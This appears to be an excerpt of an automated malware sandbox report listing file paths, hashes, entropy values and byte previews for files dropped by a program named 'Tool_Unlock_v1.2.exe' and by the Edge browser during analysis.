Created / dropped Files

C:\ProgramData\U3WBSRQQ9RQQ\0ZC2DB

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2655257569641658
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMdSAELyKOMq+8yC8F/YfU5m+OlTLVume:Bq+n0Jd9ELyKOMq+8y9/Owp
MD5:	BD91E368D69E8ACA6DB63938D7901D67
SHA1:	2745902B2ED0003527571BCF472B2B52FB9CFFAD
SHA-256:	1D1420FBF8405390C872AB042FA7B0F853A9DDFF786725A1B420C372F1E74A91
SHA-512:	335B5C740DD907FBEE11AF57A20EEFA284772B01DABF04CF72A63D34681EEA8CA7385426BB15A5DB89D3E1BD12F11241E56DDAA3CF395F042C1850794048D03E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\U3WBSRQQ9RQQ\3ECBI589Z

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\U3WBSRQQ9RQQ\7G4WBI

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\U3WBSRQQ9RQQ\FKXTJE

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\U3WBSRQQ9RQQ\H47GV3E3O

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\U3WBSRQQ9RQQ\IECT2V

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\U3WBSRQQ9RQQ\UAIMGD

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\U3WBSRQQ9RQQ\ZMGDJE

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\U3WBSRQQ9RQQ\ZMYUKN

Download File

Process:	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08438200565341271
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v4U:51zkVmvQhyn+Zoz67NU
MD5:	F7EEE7B0D281E250D1D8E36486F5A2C3
SHA1:	309736A27E794672BD1BDFBAC69B2C6734FC25CE
SHA-256:	378DD46FE8A8AAC2C430AE8A7C5C1DC3C2A343534A64A263EC9A4F1CE801985E
SHA-512:	CE102A41CA4E2A27CCB27F415D2D69A75A0058BA0F600C23F63B89F30FFC982BA48336140714C522B46CC6D13EDACCE3DF0D6685D02844B8DB0AD3378DB9CABB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\19218d50-ddfe-4d2d-8ec7-4a60141c9f4e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090695912469949
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMewuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEQ62tbz8hu3VlXr4CRo1
MD5:	861C6CCB9B71FAC2C8787ECAB757FAF0
SHA1:	BA7F32D99252BB4B6AC8CA80227DFFFB8DD5CB78
SHA-256:	BD1BCE7AE11725F1695F7E2D0C62CF3C402A172181792F172BC1839258B9F553
SHA-512:	0A70C6B38B5FDD9C2359A16A2DA2864FEFA0899E94EDDB3EB77DB16A797507FCE60A9710B83029BC148B9695BA720F328701ADB5CF516DE8EEA7E68F9F120D6B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\6176eb95-54f9-4367-aefb-2a866df04370.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44600
Entropy (8bit):	6.096197694521892
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwushDO6vP6On4c0ndDw5ZcGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynEG6HJchu3VlXr4CRo1
MD5:	988A8743619A30F4382EC0DD6F2EEEBA
SHA1:	60A9FA16B3DE561E47A5BB9F98A240CD04094FDB
SHA-256:	2D1DF6A9CA98891A6B197954A4EA876C0043C5CB3EECAC70831E8F54E5F2EF50
SHA-512:	4554987D97B35831FB635584023CFF3E886FBEC5BE51A5BE1F7B76DB280EE9B767F16462BAD8783B8966FBF047B3B55A4FB2BD9B5409D71C45A330D30659CDA4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\84eb0577-2078-469a-be21-0b178d7bf706.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45607
Entropy (8bit):	6.087319229130992
Encrypted:	false
SSDEEP:	768:sMkbJrT8IeQc5d9I21u5hDO6vP6On44ZJ6lV4cCVyAbVdGNCAoEGoup1Xl3jVzX6:sMk1rT8H19IS6H9Vnh8NRoEhu3VlXr4N
MD5:	4CA4BDB56280A46E43DAE05F9955BBC0
SHA1:	7D09E152114258ADE571300FF22E2721E3C01890
SHA-256:	F7276BCFBC354B764DC6BB0F7BD6B0A1ED1D318F728E26CF069ED30EE3962FC4
SHA-512:	22065B4F3B975ACC06D947BB7956D8A2C077AB59762893B9F9B7A13026B9A9ECB4E05CDB87B5FACC7E55BF8388B0CFAEF447A3ACB591682AB1A77AEF83B4D285
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1735447532"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c9647f1-474e-4e96-8a7a-c26d2e6283f0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45560
Entropy (8bit):	6.087565821395363
Encrypted:	false
SSDEEP:	768:sMkbJrT8IeQc5d9Io1u5hDO6vP6On44ZJ6lV4cCVyAbVdGNCAoEGoup1Xl3jVzX6:sMk1rT8H19IU6H9Vnh8NRoEhu3VlXr4N
MD5:	19C73A4FD060A55652F940712F6E94F1
SHA1:	C9C25A70412498DCFBC2B0F0EE57F75F96FAF321
SHA-256:	F812E3D7AD9A3921E7914CBB8F42F86D302A05BD6A0031EF35F7CE3D0179BC45
SHA-512:	BF269087259052C0F07F6E3E4D18283A9279A69381B21CA420424A611E0CFFA35C44D2345FF626C118FE22E49A0437082AF7DA7FFBC72D03A42817A7771B2E2A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1735447532"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\1c98c145-e23b-469e-9291-92c330ca54c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640173185101434
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	68DDA50FDB9AF6E86F170412111C6190
SHA1:	B3171ED37DBCB85AA186B62063672E4E3A218DFE
SHA-256:	56E97854FDFA5C5ADFBAA13F061961DDF48BD400882520B4E886CA79A1EC4D65
SHA-512:	71A8FA2B6FB152BCD0FEAB5FC0F21F8B0CC112FEE14D0992E34BB49A86A3AFFDFFB7DA8FB20B75AD0ED28D75EA296ED65726252984B4666190CF12E22719DEF8
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640173185101434
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
MD5:	68DDA50FDB9AF6E86F170412111C6190
SHA1:	B3171ED37DBCB85AA186B62063672E4E3A218DFE
SHA-256:	56E97854FDFA5C5ADFBAA13F061961DDF48BD400882520B4E886CA79A1EC4D65
SHA-512:	71A8FA2B6FB152BCD0FEAB5FC0F21F8B0CC112FEE14D0992E34BB49A86A3AFFDFFB7DA8FB20B75AD0ED28D75EA296ED65726252984B4666190CF12E22719DEF8
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6770D3E7-1E0C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4503525172472211
Encrypted:	false
SSDEEP:	6144:AXClH0dDNkcxwHMptLqXKUtqUBRXLkaH:okcasptUT
MD5:	C8565200BC3FA5E5D64BD38483F2934C
SHA1:	CCB3746839C10641143F55CC0297934DC46DD44B
SHA-256:	F6706B09CCB2986F335C9566A6B31FF95CE3CCEEA2B32E3F6EC9CD81DFADCAC1
SHA-512:	97AE9FEE6C95210DD222D3549CDCDCDD927A38DD039AAF3126EAC06F9A3F0EF0A71B175E4A80EE4A814B253088B0360CB35FBFDE55A404F1098D03F6231C9844
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".iplnos20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\00f00d35-0cdc-466a-85b9-c36f1d53cc8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
